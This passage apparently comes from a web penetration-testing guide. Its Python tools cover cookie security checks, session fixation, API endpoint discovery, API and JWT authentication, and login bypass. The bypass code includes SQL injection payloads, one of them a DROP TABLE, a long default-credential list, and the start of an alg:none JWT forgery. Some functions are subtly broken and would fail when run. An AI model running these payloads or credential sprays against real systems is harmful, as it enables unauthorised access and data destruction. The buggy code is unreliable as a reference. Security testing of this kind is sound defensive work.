            
        # Check HttpOnly flag
        if 'httponly' not in attributes or attributes['httponly'] != True:
            issues.append("Missing HttpOnly flag - accessible to JavaScript (XSS risk)")
            
        # Check SameSite attribute
        samesite = attributes.get('samesite', '').lower()
        if not samesite:
            issues.append("Missing SameSite attribute - CSRF risk")
        elif samesite == 'none':
            if 'secure' in attributes and attributes['secure']:
                issues.append("SameSite=None with Secure flag - acceptable for cross-site usage")
            else:
                issues.append("SameSite=None without Secure flag - insecure")
        elif samesite in ['lax', 'strict']:
            pass  # Good
        else:
            issues.append(f"Unknown SameSite value: {samesite}")
            
        # Check domain attribute
        domain = attributes.get('domain', '')
        if domain.startswith('.'):
            issues.append(f"Wildcard domain '{domain}' - cookie sent to all subdomains")
            
        # Check path attribute
        path = attributes.get('path', '/')
        if path == '/':
            pass  # Default, acceptable
        elif path and not path.endswith('/'):
            issues.append(f"Path '{path}' may be too broad")
            
        # Check expiration
        expires = attributes.get('expires', '')
        max_age = attributes.get('max-age', '')
        
        if not expires and not max_age:
            issues.append("Session cookie (no expiration) - exists until browser closes")
        elif max_age:
            try:
                age = int(max_age)
                if age > 86400 * 30:  # 30 days
                    issues.append(f"Long-lived cookie: max-age={age} seconds")
            except:
                pass
                
        # Check for sensitive information in value
        sensitive_patterns = [
            (r'password|passwd|pwd', 'Password in cookie'),
            (r'token.*=.*[A-Za-z0-9]{20,}', 'Long token - check if sensitive'),
            (r'admin|root|administrator', 'Privileged user indicator'),
            (r'\{.*\}', 'JSON data in cookie'),
            (r'[a-f0-9]{32}', 'MD5 hash - possibly sensitive'),
            (r'[A-Za-z0-9-_]{40,}', 'Long token - possibly JWT or API key')
        ]
        
        for pattern, description in sensitive_patterns:
            if re.search(pattern, cookie_value, re.I):
                issues.append(f"Sensitive pattern detected: {description}")
                
        return issues
    
    def capture_cookies(self, url, method='GET', data=None):
        """Capture cookies from HTTP response"""
        
        if method.upper() == 'GET':
            response = self.session.get(url)
        else:
            response = self.session.post(url, data=data)
            
        cookies = {}
        
        # Parse Set-Cookie headers
        for cookie_header in response.headers.getlist('Set-Cookie'):
            cookie = SimpleCookie()
            cookie.load(cookie_header)
            
            for key, morsel in cookie.items():
                cookie_info = {
                    'value': morsel.value,
                    'attributes': {}
                }
                
                # Extract attributes
                for attr in ['path', 'domain', 'expires', 'max-age', 'secure', 'httponly', 'samesite']:
                    if attr in morsel:
                        cookie_info['attributes'][attr] = morsel[attr]
                        
                cookies[key] = cookie_info
                
        self.cookies = cookies
        return cookies
    
    def analyze_all_cookies(self):
        """Analyze all captured cookies"""
        
        results = {}
        
        for cookie_name, cookie_info in self.cookies.items():
            issues = self.analyze_cookie(
                cookie_name,
                cookie_info['value'],
                cookie_info['attributes']
            )
            
            results[cookie_name] = {
                'value': cookie_info['value'][:20] + '...' if len(cookie_info['value']) > 20 else cookie_info['value'],
                'attributes': cookie_info['attributes'],
                'security_issues': issues,
                'risk_level': self.calculate_risk_level(issues)
            }
            
            if issues:
                self.security_issues.extend(issues)
                
        return results
    
    def calculate_risk_level(self, issues):
        """Calculate risk level based on issues"""
        
        if not issues:
            return "Low"
            
        high_risk_indicators = [
            'Missing HttpOnly',
            'Password in cookie',
            'expired',
            'wildcard domain'
        ]
        
        for indicator in high_risk_indicators:
            if any(indicator in issue for issue in issues):
                return "High"
                
        if len(issues) > 2:
            return "Medium"
            
        return "Low"
    
    def check_session_fixation(self, url1, url2):
        """Check if session remains same after login"""
        
        # Get initial session cookie
        self.session = requests.Session()
        response1 = self.session.get(url1)
        initial_cookies = self.capture_cookies(url1)
        
        # Perform login (simulated)
        login_data = {'username': 'test', 'password': 'test'}
        response2 = self.session.post(url2, data=login_data)
        after_login_cookies = self.capture_cookies(url2)
        
        # Compare session cookies
        session_cookie_name = None
        for cookie in initial_cookies:
            if 'session' in cookie.lower() or 'sid' in cookie.lower():
                session_cookie_name = cookie
                break
                
        if session_cookie_name:
            initial_value = initial_cookies.get(session_cookie_name, {}).get('value')
            after_value = after_login_cookies.get(session_cookie_name, {}).get('value')
            
            if initial_value == after_value:
                return {
                    'vulnerable': True,
                    'issue': "Session fixation possible - session ID unchanged after login",
                    'session_cookie': session_cookie_name,
                    'initial_value': initial_value,
                    'after_value': after_value
                }
                
        return {'vulnerable': False}
    
    def generate_report(self):
        """Generate cookie security report"""
        
        report = {
            'total_cookies': len(self.cookies),
            'cookies_with_issues': len([c for c in self.cookies.values() if c.get('security_issues')]),
            'security_issues': list(set(self.security_issues)),
            'cookie_details': self.analyze_all_cookies(),
            'recommendations': []
        }
        
        # Generate recommendations
        if 'Missing Secure flag' in report['security_issues']:
            report['recommendations'].append("Add Secure flag to all cookies to ensure they're only sent over HTTPS")
            
        if 'Missing HttpOnly flag' in report['security_issues']:
            report['recommendations'].append("Add HttpOnly flag to prevent JavaScript access")
            
        if 'Missing SameSite attribute' in report['security_issues']:
            report['recommendations'].append("Implement SameSite=Lax or Strict to mitigate CSRF")
            
        return report

# Example usage
analyzer = CookieAnalyzer()
cookies = analyzer.capture_cookies('https://example.com/login')
results = analyzer.analyze_all_cookies()
print(json.dumps(results, indent=2))

# Check session fixation
fixation_check = analyzer.check_session_fixation(
    'https://example.com/',
    'https://example.com/login'
)
print(json.dumps(fixation_check, indent=2))

12.2.2 Session Management Testing

#!/usr/bin/env python3
# session_tester.py

import requests
import time
import hashlib
import random
import string
from concurrent.futures import ThreadPoolExecutor

class SessionTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        
    def test_session_timeout(self, session_cookie_name, timeout_seconds=1800):
        """Test session timeout behavior"""
        
        # Get initial session
        response = self.session.get(self.base_url)
        initial_cookie = response.cookies.get(session_cookie_name)
        
        if not initial_cookie:
            return {"error": "No session cookie found"}
            
        results = {
            'cookie_name': session_cookie_name,
            'initial_value': initial_cookie,
            'timeout_tests': []
        }
        
        # Test at different intervals
        intervals = [300, 600, 1800, 3600, 7200]  # 5min, 10min, 30min, 1hr, 2hr
        
        for interval in intervals:
            if interval > timeout_seconds:
                break
                
            print(f"[*] Waiting {interval} seconds...")
            time.sleep(interval)
            
            # Make request with same session
            response = self.session.get(self.base_url)
            current_cookie = response.cookies.get(session_cookie_name)
            
            results['timeout_tests'].append({
                'interval': interval,
                'cookie_valid': current_cookie == initial_cookie,
                'status_code': response.status_code
            })
            
        return results
    
    def test_session_fixation(self, login_url, username, password):
        """Test for session fixation vulnerabilities"""
        
        results = {
            'vulnerabilities': [],
            'tests': []
        }
        
        # Test 1: Pre-login session persists after login
        print("[*] Testing session persistence after login")
        
        # Get pre-login session
        pre_login = requests.Session()
        response = pre_login.get(self.base_url)
        pre_session = dict(response.cookies)
        
        # Perform login
        login_response = pre_login.post(login_url, data={
            'username': username,
            'password': password
        })
        
        # Check if session changed
        post_session = dict(login_response.cookies)
        
        if pre_session == post_session:
            results['vulnerabilities'].append({
                'type': 'Session Fixation',
                'description': 'Session ID remains same before and after login',
                'pre_login': pre_session,
                'post_login': post_session
            })
            
        results['tests'].append({
            'name': 'Pre/Post Login Session',
            'vulnerable': pre_session == post_session
        })
        
        # Test 2: Accept arbitrary session IDs
        print("[*] Testing acceptance of arbitrary session IDs")
        
        arbitrary_sessions = []
        for i in range(5):
            # Generate random session ID
            random_sid = hashlib.md5(str(random.random()).encode()).hexdigest()
            
            test_session = requests.Session()
            test_session.cookies.set('session', random_sid)
            
            response = test_session.get(self.base_url)
            
            if response.status_code == 200:
                arbitrary_sessions.append(random_sid)
                
        if arbitrary_sessions:
            results['vulnerabilities'].append({
                'type': 'Arbitrary Session Acceptance',
                'description': 'Server accepts arbitrary session IDs',
                'examples': arbitrary_sessions[:3]
            })
            
        results['tests'].append({
            'name': 'Arbitrary Session Acceptance',
            'vulnerable': len(arbitrary_sessions) > 0,
            'count': len(arbitrary_sessions)
        })
        
        # Test 3: Session fixation via URL
        print("[*] Testing session fixation via URL")
        
        # Try to set session via URL parameter
        test_sid = 'fixed_session_123'
        url_with_sid = f"{self.base_url}?sessionid={test_sid}"
        
        response = self.session.get(url_with_sid)
        
        if response.cookies.get('session') == test_sid:
            results['vulnerabilities'].append({
                'type': 'URL-Based Session Fixation',
                'description': 'Session ID accepted via URL parameter',
                'url': url_with_sid
            })
            
        return results
    
    def test_session_concurrency(self, session_cookie_name, num_sessions=5):
        """Test concurrent session handling"""
        
        sessions = []
        
        # Create multiple sessions
        for i in range(num_sessions):
            s = requests.Session()
            s.get(self.base_url)
            sessions.append(s)
            
        results = {
            'active_sessions': num_sessions,
            'concurrent_access': []
        }
        
        # Try to use all sessions concurrently
        def use_session(session, request_id):
            try:
                response = session.get(f"{self.base_url}/profile")
                return {
                    'request_id': request_id,
                    'status': response.status_code,
                    'success': True
                }
            except Exception as e:
                return {
                    'request_id': request_id,
                    'status': 'error',
                    'error': str(e)
                }
                
        with ThreadPoolExecutor(max_workers=num_sessions) as executor:
            futures = []
            for i, session in enumerate(sessions):
                future = executor.submit(use_session, session, i)
                futures.append(future)
                
            for future in futures:
                result = future.result()
                results['concurrent_access'].append(result)
                
        # Check if any sessions were invalidated
        success_count = sum(1 for r in results['concurrent_access'] if r.get('success', False))
        
        if success_count < num_sessions:
            results['limitation'] = f"Only {success_count}/{num_sessions} sessions allowed concurrently"
            
        return results
    
    def test_session_logout(self):
        """Test session invalidation on logout"""
        
        results = {
            'tests': []
        }
        
        # Create authenticated session
        auth_session = requests.Session()
        # Assume we have login function
        # auth_session.post(f"{self.base_url}/login", data=...)
        
        # Get protected page before logout
        # pre_response = auth_session.get(f"{self.base_url}/dashboard")
        
        # Perform logout
        # logout_response = auth_session.get(f"{self.base_url}/logout")
        
        # Try to access protected page again
        # post_response = auth_session.get(f"{self.base_url}/dashboard")
        
        # Check if old session still works
        # if post_response.status_code == 200:
        #     results['vulnerabilities'].append("Session not invalidated on logout")
        
        return results

# Example usage
tester = SessionTester('https://example.com')
fixation_results = tester.test_session_fixation(
    'https://example.com/login',
    'testuser',
    'testpass'
)
print(json.dumps(fixation_results, indent=2))

12.3 REST APIs

RESTful APIs have become the standard for web services and present unique security challenges.

12.3.1 API Endpoint Discovery

#!/usr/bin/env python3
# api_discovery.py

import requests
import json
import re
from urllib.parse import urljoin, urlparse

class APIDiscovery:
    def __init__(self, base_url):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.discovered_endpoints = set()
        self.api_patterns = []
        
    def discover_from_js(self, js_url):
        """Discover API endpoints from JavaScript files"""
        
        try:
            response = self.session.get(js_url)
            if response.status_code == 200:
                content = response.text
                
                # Look for API patterns in JS
                patterns = [
                    r'["\'](/api/[^"\']+)["\']',
                    r'["\'](/v[0-9]+/[^"\']+)["\']',
                    r'["\'](/graphql)[^"\']*["\']',
                    r'["\'](/rest/[^"\']+)["\']',
                    r'fetch\(["\']([^"\']+)["\']',
                    r'axios\.(?:get|post|put|delete)\(["\']([^"\']+)["\']',
                    r'url:\s*["\']([^"\']+)["\']',
                    r'endpoint:\s*["\']([^"\']+)["\']'
                ]
                
                for pattern in patterns:
                    matches = re.findall(pattern, content)
                    for match in matches:
                        if match.startswith('/'):
                            full_url = urljoin(self.base_url, match)
                        elif match.startswith('http'):
                            full_url = match
                        else:
                            full_url = urljoin(self.base_url, '/' + match)
                            
                        self.discovered_endpoints.add(full_url)
                        
        except Exception as e:
            print(f"Error processing {js_url}: {e}")
            
    def discover_from_html(self, html_url):
        """Discover API endpoints from HTML"""
        
        try:
            response = self.session.get(html_url)
            if response.status_code == 200:
                content = response.text
                
                # Look for API-related elements
                patterns = [
                    r'action=["\']([^"\']+)["\']',
                    r'href=["\']([^"\']+\.(?:json|xml|api))["\']',
                    r'data-api=["\']([^"\']+)["\']',
                    r'data-endpoint=["\']([^"\']+)["\']'
                ]
                
                for pattern in patterns:
                    matches = re.findall(pattern, content, re.IGNORECASE)
                    for match in matches:
                        if 'api' in match.lower() or 'v1' in match.lower() or 'v2' in match.lower():
                            full_url = urljoin(self.base_url, match)
                            self.discovered_endpoints.add(full_url)
                            
        except Exception as e:
            print(f"Error processing {html_url}: {e}")
            
    def discover_from_common_paths(self):
        """Try common API paths"""
        
        common_paths = [
            '/api',
            '/api/v1',
            '/api/v2',
            '/api/v3',
            '/v1',
            '/v2',
            '/rest',
            '/rest/v1',
            '/graphql',
            '/swagger',
            '/swagger-ui',
            '/swagger.json',
            '/swagger.yaml',
            '/api-docs',
            '/docs',
            '/documentation',
            '/openapi.json',
            '/api/swagger',
            '/api/documentation',
            '/api/docs',
            '/api/explorer',
            '/api-console',
            '/api/v1/documentation',
            '/swagger/index.html',
            '/swagger-ui.html',
            '/api/swagger-ui',
            '/api/swagger.json',
            '/api/swagger.yaml',
            '/api/v1/swagger.json',
            '/api/v2/swagger.json',
            '/.well-known/openid-configuration',
            '/oauth/token',
            '/oauth/authorize',
            '/token',
            '/authorize',
            '/login/oauth',
            '/api/oauth',
            '/api/token',
            '/api/users',
            '/api/user',
            '/api/accounts',
            '/api/account',
            '/api/admin',
            '/api/health',
            '/api/status',
            '/api/metrics',
            '/api/info',
            '/api/version',
            '/api/config',
            '/api/settings',
            '/api/profile',
            '/api/profiles',
            '/api/auth',
            '/api/login',
            '/api/logout',
            '/api/register',
            '/api/signup',
            '/api/search',
            '/api/query',
            '/api/upload',
            '/api/download',
            '/api/export',
            '/api/import',
            '/api/data',
            '/api/db',
            '/api/database',
            '/api/storage',
            '/api/files',
            '/api/images',
            '/api/media'
        ]
        
        for path in common_paths:
            url = urljoin(self.base_url, path)
            try:
                response = self.session.get(url, timeout=3)
                if response.status_code != 404:
                    self.discovered_endpoints.add(url)
                    
                    # Try common methods
                    for method in ['POST', 'PUT', 'DELETE', 'PATCH']:
                        try:
                            resp = self.session.request(method, url, timeout=2)
                            if resp.status_code != 404 and resp.status_code != 405:
                                self.api_patterns.append({
                                    'url': url,
                                    'method': method,
                                    'status': resp.status_code
                                })
                        except:
                            pass
            except:
                pass
                
    def discover_from_headers(self, url):
        """Discover API info from response headers"""
        
        try:
            response = self.session.get(url)
            headers = response.headers
            
            # Look for API-related headers
            api_headers = [
                'X-API-Version',
                'API-Version',
                'X-API-Key',
                'X-API-Endpoint',
                'X-RateLimit-Limit',
                'X-RateLimit-Remaining',
                'X-RateLimit-Reset'
            ]
            
            for header in api_headers:
                if header in headers:
                    self.api_patterns.append({
                        'type': 'header',
                        'name': header,
                        'value': headers[header]
                    })
                    
        except:
            pass
            
    def enumerate_endpoints(self):
        """Run all discovery methods"""
        
        print(f"[*] Starting API discovery for {self.base_url}")
        
        # Try common paths first
        self.discover_from_common_paths()
        
        # Get main page and scan for endpoints
        try:
            response = self.session.get(self.base_url)
            if response.status_code == 200:
                # Extract JavaScript files
                js_pattern = r'src=["\']([^"\']+\.js)["\']'
                js_files = re.findall(js_pattern, response.text)
                
                for js in js_files[:10]:  # Limit to first 10 JS files
                    js_url = urljoin(self.base_url, js)
                    print(f"  [*] Scanning JS: {js}")
                    self.discover_from_js(js_url)
                    
                # Scan HTML for API hints
                self.discover_from_html(self.base_url)
                
        except Exception as e:
            print(f"Error fetching base URL: {e}")
            
        # Check headers
        self.discover_from_headers(self.base_url)
        
        # Common API documentation tools
        doc_tools = [
            '/swagger-ui',
            '/api-docs',
            '/docs',
            '/graphiql',
            '/graphql/console'
        ]
        
        for tool in doc_tools:
            url = urljoin(self.base_url, tool)
            try:
                response = self.session.get(url, timeout=3)
                if response.status_code == 200:
                    self.discovered_endpoints.add(url)
                    print(f"  [+] Found API documentation: {url}")
            except:
                pass
                
        return {
            'base_url': self.base_url,
            'endpoints': list(self.discovered_endpoints),
            'api_patterns': self.api_patterns,
            'total_endpoints': len(self.discovered_endpoints)
        }
    
    def test_endpoint_methods(self, endpoint):
        """Test HTTP methods on discovered endpoint"""
        
        methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD']
        results = {}
        
        for method in methods:
            try:
                response = self.session.request(method, endpoint, timeout=3)
                results[method] = {
                    'status_code': response.status_code,
                    'content_type': response.headers.get('Content-Type', ''),
                    'body_length': len(response.text)
                }
            except Exception as e:
                results[method] = {'error': str(e)}
                
        return results

# Example usage
discovery = APIDiscovery('https://example.com')
results = discovery.enumerate_endpoints()
print(json.dumps(results, indent=2))

# Test discovered endpoints
for endpoint in list(results['endpoints'])[:5]:
    methods = discovery.test_endpoint_methods(endpoint)
    print(f"\n[*] Testing {endpoint}")
    print(json.dumps(methods, indent=2))

12.3.2 API Authentication Testing

#!/usr/bin/env python3
# api_auth_testing.py

import requests
import json
import base64
import hashlib
import hmac
import time

class APIAuthTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.auth_methods = {}
        
    def test_basic_auth(self, endpoint, credentials_list):
        """Test HTTP Basic Authentication"""
        
        results = []
        
        for creds in credentials_list:
            username = creds.get('username', '')
            password = creds.get('password', '')
            
            # Create Basic Auth header
            auth_string = f"{username}:{password}"
            encoded = base64.b64encode(auth_string.encode()).decode()
            
            headers = {'Authorization': f'Basic {encoded}'}
            
            try:
                response = self.session.get(
                    f"{self.base_url}{endpoint}",
                    headers=headers,
                    allow_redirects=False
                )
                
                results.append({
                    'username': username,
                    'password': password,
                    'status_code': response.status_code,
                    'success': response.status_code == 200
                })
            except Exception as e:
                results.append({
                    'username': username,
                    'password': password,
                    'error': str(e)
                })
                
        return results
    
    def test_bearer_token(self, endpoint, tokens):
        """Test Bearer token authentication"""
        
        results = []
        
        for token in tokens:
            headers = {'Authorization': f'Bearer {token}'}
            
            try:
                response = self.session.get(
                    f"{self.base_url}{endpoint}",
                    headers=headers
                )
                
                results.append({
                    'token': token[:20] + '...' if len(token) > 20 else token,
                    'status_code': response.status_code,
                    'success': response.status_code == 200
                })
            except Exception as e:
                results.append({
                    'token': token[:20] + '...',
                    'error': str(e)
                })
                
        return results
    
    def test_api_key(self, endpoint, api_keys, key_name='X-API-Key'):
        """Test API key authentication (header-based)"""
        
        results = []
        
        for api_key in api_keys:
            headers = {key_name: api_key}
            
            try:
                response = self.session.get(
                    f"{self.base_url}{endpoint}",
                    headers=headers
                )
                
                results.append({
                    'key': api_key[:20] + '...' if len(api_key) > 20 else api_key,
                    'status_code': response.status_code,
                    'success': response.status_code == 200
                })
            except Exception as e:
                results.append({
                    'key': api_key[:20] + '...',
                    'error': str(e)
                })
                
        return results
    
    def test_jwt_token(self, token):
        """Analyze JWT token structure"""
        
        parts = token.split('.')
        
        if len(parts) != 3:
            return {'error': 'Invalid JWT format'}
            
        analysis = {}
        
        # Decode header
        try:
            header = base64.urlsafe_b64decode(parts[0] + '==').decode()
            analysis['header'] = json.loads(header)
        except:
            analysis['header_error'] = 'Could not decode header'
            
        # Decode payload
        try:
            payload = base64.urlsafe_b64decode(parts[1] + '==').decode()
            analysis['payload'] = json.loads(payload)
        except:
            analysis['payload_error'] = 'Could not decode payload'
            
        # Check signature (placeholder)
        analysis['signature_present'] = bool(parts[2])
        
        # Security checks
        if 'payload' in analysis:
            payload = analysis['payload']
            
            # Check algorithm
            if 'header' in analysis:
                alg = analysis['header'].get('alg', '')
                if alg == 'none':
                    analysis['security_issues'].append('alg: none - insecure')
                elif alg == 'HS256':
                    analysis['security_notes'].append('Symmetric signing - check key strength')
                    
            # Check expiration
            exp = payload.get('exp')
            if exp:
                if exp < time.time():
                    analysis['security_issues'].append('Token expired')
                else:
                    time_left = exp - time.time()
                    if time_left > 86400 * 7:  # 7 days
                        analysis['security_issues'].append(f'Long-lived token: {time_left/86400:.1f} days')
                        
            # Check for sensitive data
            sensitive_fields = ['password', 'secret', 'key', 'token', 'credit', 'ssn']
            for field in sensitive_fields:
                if field in payload:
                    analysis['security_issues'].append(f'Sensitive field in payload: {field}')
                    
        return analysis
    
    def test_oauth_flows(self, auth_url, token_url, client_id, client_secret):
        """Test OAuth 2.0 implementation"""
        
        results = {}
        
        # Test implicit grant (if applicable)
        implicit_url = f"{auth_url}?response_type=token&client_id={client_id}&redirect_uri={self.base_url}/callback"
        
        try:
            response = self.session.get(implicit_url, allow_redirects=False)
            results['implicit_grant'] = {
                'status_code': response.status_code,
                'location': response.headers.get('Location', '')
            }
        except Exception as e:
            results['implicit_grant'] = {'error': str(e)}
            
        # Test authorization code grant
        code_url = f"{auth_url}?response_type=code&client_id={client_id}&redirect_uri={self.base_url}/callback"
        
        try:
            response = self.session.get(code_url, allow_redirects=False)
            results['code_grant'] = {
                'status_code': response.status_code,
                'location': response.headers.get('Location', '')
            }
            
            # Extract code if present
            location = response.headers.get('Location', '')
            if 'code=' in location:
                import urllib.parse
                parsed = urllib.parse.urlparse(location)
                params = urllib.parse.parse_qs(parsed.query)
                code = params.get('code', [None])[0]
                
                if code:
                    # Try to exchange code for token
                    token_data = {
                        'grant_type': 'authorization_code',
                        'code': code,
                        'redirect_uri': f"{self.base_url}/callback",
                        'client_id': client_id,
                        'client_secret': client_secret
                    }
                    
                    token_response = self.session.post(token_url, data=token_data)
                    results['token_exchange'] = {
                        'status_code': token_response.status_code,
                        'response': token_response.text[:200] if token_response.text else ''
                    }
        except Exception as e:
            results['code_grant'] = {'error': str(e)}
            
        return results

# Example usage
tester = APIAuthTester('https://api.example.com')

# Test basic auth
basic_results = tester.test_basic_auth('/protected', [
    {'username': 'admin', 'password': 'admin'},
    {'username': 'admin', 'password': 'password123'},
    {'username': 'user', 'password': 'userpass'}
])

# Test JWT
jwt_analysis = tester.test_jwt_token('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c')

print(json.dumps(basic_results, indent=2))
print(json.dumps(jwt_analysis, indent=2))

12.4 Authentication Models

Understanding different authentication mechanisms is crucial for identifying vulnerabilities.

12.4.1 Authentication Bypass Testing

#!/usr/bin/env python3
# auth_bypass.py

import requests
import itertools

class AuthBypassTester:
    def __init__(self, target_url, login_field='username', password_field='password'):
        self.target_url = target_url
        self.login_field = login_field
        self.password_field = password_field
        self.session = requests.Session()
        
    def test_sql_injection_auth(self):
        """Test SQL injection in authentication"""
        
        payloads = [
            "' OR '1'='1",
            "' OR 1=1--",
            "' OR '1'='1'--",
            "' OR '1'='1'#",
            "admin'--",
            "admin' #",
            "' OR 1=1 LIMIT 1--",
            "' UNION SELECT 1, 'admin', 'password'--",
            "'; DROP TABLE users--",
            "admin' AND 1=1--"
        ]
        
        results = []
        
        for payload in payloads:
            data = {
                self.login_field: payload,
                self.password_field: 'anything'
            }
            
            try:
                response = self.session.post(self.target_url, data=data, allow_redirects=False)
                
                results.append({
                    'payload': payload,
                    'status_code': response.status_code,
                    'location': response.headers.get('Location', ''),
                    'bypass': response.status_code == 302 or 'welcome' in response.text.lower()
                })
            except Exception as e:
                results.append({
                    'payload': payload,
                    'error': str(e)
                })
                
        return results
    
    def test_default_credentials(self):
        """Test default credentials"""
        
        defaults = [
            ('admin', 'admin'),
            ('admin', 'password'),
            ('admin', '123456'),
            ('administrator', 'administrator'),
            ('root', 'root'),
            ('root', 'toor'),
            ('user', 'user'),
            ('test', 'test'),
            ('guest', 'guest'),
            ('admin', 'password123'),
            ('admin', 'admin123'),
            ('admin', '12345'),
            ('admin', '1234'),
            ('admin', '12345678'),
            ('admin', 'qwerty'),
            ('admin', 'abc123'),
            ('admin', 'letmein'),
            ('admin', 'welcome'),
            ('admin', 'monkey'),
            ('admin', 'dragon'),
            ('admin', 'master'),
            ('admin', 'hello'),
            ('admin', 'freedom'),
            ('admin', 'whatever'),
            ('admin', 'qazwsx'),
            ('admin', 'trustno1'),
            ('admin', '000000'),
            ('admin', '111111'),
            ('admin', 'passw0rd'),
            ('admin', 'password1'),
            ('admin', 'admin1234'),
            ('admin', '123456789'),
            ('admin', '987654321'),
            ('admin', '654321'),
            ('admin', '555555'),
            ('admin', '7777777'),
            ('admin', '888888'),
            ('admin', '999999'),
            ('admin', '123123'),
            ('admin', '123321'),
            ('admin', '123qwe'),
            ('admin', 'qwe123'),
            ('admin', '1q2w3e4r'),
            ('admin', '1qaz2wsx'),
            ('admin', 'zaq1xsw2'),
            ('admin', 'zxcvbnm'),
            ('admin', 'qwertyuiop'),
            ('admin', 'asdfghjkl'),
            ('admin', 'foobar'),
            ('admin', 'nimda'),
            ('admin', 'adminadmin'),
            ('admin', 'adm1n'),
            ('admin', 'adm!n'),
            ('admin', 'admin!'),
            ('admin', 'root123'),
            ('admin', 'toor123')
        ]
        
        results = []
        
        for username, password in defaults:
            data = {
                self.login_field: username,
                self.password_field: password
            }
            
            try:
                response = self.session.post(self.target_url, data=data, allow_redirects=False)
                
                if response.status_code == 302 or 'welcome' in response.text.lower():
                    results.append({
                        'username': username,
                        'password': password,
                        'success': True
                    })
            except:
                pass
                
        return results
    
    def test_parameter_pollution(self):
        """Test HTTP parameter pollution in auth"""
        
        # Test duplicate parameters
        test_cases = [
            f"{self.login_field}=admin&{self.login_field}=admin'--",
            f"{self.login_field}=admin&password=anything&password=anything",
            f"{self.login_field}=admin&{self.password_field}=wrong&{self.password_field}=right"
        ]
        
        results = []
        
        for params in test_cases:
            url = f"{self.target_url}?{params}"
            
            try:
                response = self.session.get(url)
                results.append({
                    'params': params,
                    'status_code': response.status_code,
                    'interesting': 'admin' in response.text or 'welcome' in response.text
                })
            except Exception as e:
                results.append({
                    'params': params,
                    'error': str(e)
                })
                
        return results
    
    def test_verb_tampering(self):
        """Test HTTP verb tampering for auth bypass"""
        
        methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'HEAD', 'OPTIONS']
        results = {}
        
        for method in methods:
            try:
                if method == 'GET':
                    response = self.session.get(self.target_url)
                elif method == 'POST':
                    response = self.session.post(self.target_url, data={'test': 'data'})
                elif method == 'PUT':
                    response = self.session.put(self.target_url, data={'test': 'data'})
                elif method == 'DELETE':
                    response = self.session.delete(self.target_url)
                elif method == 'PATCH':
                    response = self.session.patch(self.target_url, data={'test': 'data'})
                elif method == 'HEAD':
                    response = self.session.head(self.target_url)
                elif method == 'OPTIONS':
                    response = self.session.options(self.target_url)
                    
                results[method] = {
                    'status_code': response.status_code,
                    'content_length': len(response.text) if method != 'HEAD' else 'N/A'
                }
            except Exception as e:
                results[method] = {'error': str(e)}
                
        return results
    
    def test_session_cookie_weakness(self):
        """Test for weak session cookie generation"""
        
        cookies = []
        
        # Collect multiple session cookies
        for i in range(10):
            session = requests.Session()
            session.get(self.target_url)
            cookie = session.cookies.get_dict()
            if cookie:
                cookies.append(cookie)
                
        if not cookies:
            return {'error': 'No cookies found'}
            
        analysis = {
            'cookie_count': len(cookies),
            'unique_cookies': len(set(str(c) for c in cookies)),
            'analysis': []
        }
        
        # Check for patterns
        import re
        
        for cookie in cookies:
            for name, value in cookie.items():
                # Check for predictable patterns
                if re.match(r'^\d+$', value):
                    analysis['analysis'].append({
                        'cookie': name,
                        'value': value,
                        'pattern': 'numeric - potentially predictable'
                    })
                elif re.match(r'^[a-f0-9]{32}$', value):
                    analysis['analysis'].append({
                        'cookie': name,
                        'pattern': 'MD5 hash - check predictability'
                    })
                elif len(value) < 16:
                    analysis['analysis'].append({
                        'cookie': name,
                        'pattern': f'short length ({len(value)}) - potentially weak'
                    })
                    
        return analysis
    
    def test_remember_me_functionality(self):
        """Test remember me functionality security"""
        
        # First login with remember me
        data = {
            self.login_field: 'test',
            self.password_field: 'test',
            'remember': 'on'
        }
        
        response = self.session.post(self.target_url, data=data)
        cookies = self.session.cookies.get_dict()
        
        # Analyze persistent cookies
        persistent_cookies = []
        
        for name, value in cookies.items():
            # Check for long-lived cookies
            # This is simplified - actual implementation would need to check expiry
            if 'remember' in name.lower() or 'persist' in name.lower():
                persistent_cookies.append({
                    'name': name,
                    'value': value[:20] + '...' if len(value) > 20 else value,
                    'length': len(value)
                })
                
        return persistent_cookies

# Example usage
tester = AuthBypassTester('https://example.com/login')

print("[*] Testing SQL injection auth bypass...")
sql_results = tester.test_sql_injection_auth()
for result in sql_results:
    if result.get('bypass'):
        print(f"  [+] Possible bypass with: {result['payload']}")

print("\n[*] Testing default credentials...")
default_results = tester.test_default_credentials()
if default_results:
    for cred in default_results:
        print(f"  [+] Found working credentials: {cred['username']}:{cred['password']}")

print("\n[*] Testing session cookie weakness...")
cookie_analysis = tester.test_session_cookie_weakness()
print(json.dumps(cookie_analysis, indent=2))

12.5 JWT (JSON Web Tokens)

JWT has become a popular method for stateless authentication but introduces specific security considerations.

12.5.1 JWT Security Testing

#!/usr/bin/env python3
# jwt_tester.py

import jwt
import json
import requests
import base64
import hmac
import hashlib
import time

class JWTTester:
    def __init__(self):
        self.vulnerabilities = []
        
    def decode_jwt(self, token):
        """Decode JWT without verification"""
        try:
            parts = token.split('.')
            if len(parts) != 3:
                return {'error': 'Invalid JWT format'}
                
            # Decode header
            header = base64.urlsafe_b64decode(parts[0] + '==').decode('utf-8')
            header = json.loads(header)
            
            # Decode payload
            payload = base64.urlsafe_b64decode(parts[1] + '==').decode('utf-8')
            payload = json.loads(payload)
            
            return {
                'header': header,
                'payload': payload,
                'signature': parts[2]
            }
        except Exception as e:
            return {'error': str(e)}
    
    def test_none_algorithm(self, token):
        """Test 'none' algorithm vulnerability"""
        
        decoded = self.decode_jwt(token)
        if 'error' in decoded:
            return {'error': 'Invalid token'}
            
        # Create token with alg:none
        header = decoded['header'].copy()
        header['alg'] = 'none'
        
        # Encode without signature
        header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
        payload_b64 = base64.urlsafe_b64encode(json.dumps(decoded['payload']).encode()).decode().rstrip('=')
        
        modified_token = f"{header_b64}.{payload_b64}."
        
        return {
